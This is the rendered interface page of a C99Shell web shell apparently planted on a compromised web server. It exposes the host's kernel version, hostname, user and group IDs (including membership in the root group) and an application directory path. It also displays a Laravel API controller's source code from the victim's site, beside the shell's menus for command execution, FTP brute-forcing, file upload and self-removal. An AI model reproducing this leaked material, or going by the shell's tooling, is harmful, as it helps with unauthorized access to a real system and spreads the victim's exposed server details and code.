!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GroupController.php (1.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Group;
use 
Illuminate\Http\Request;

class 
GroupController extends Controller
{
    public function 
index(Request $request)
    {
        
$user auth()->user();
        
$groups $user->groups()->select(['id','name''status''created_at''import_status''import_fail_message'])->get();

        return 
response()->json(['status' => 'success'' data' => $groups]);
    }

    public function 
groupContact(Request $request){
        
$user auth()->user();
        
$groupId$user->groups()->where('id'$request->id)->firstOrFail();
        
$contactGroup ContactGroup::where('group_id'$groupId)->where('customer_id'$user->id)->pluck('contact_id');
        
$contactsContact::select('first_name','last_name','number''email''city''state','zip_code''note''address''company','created_at''updated_at')->whereIn('id'$contactGroup)->get();

        return 
response()->json(['status' => 'success'' data' => $contacts]);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--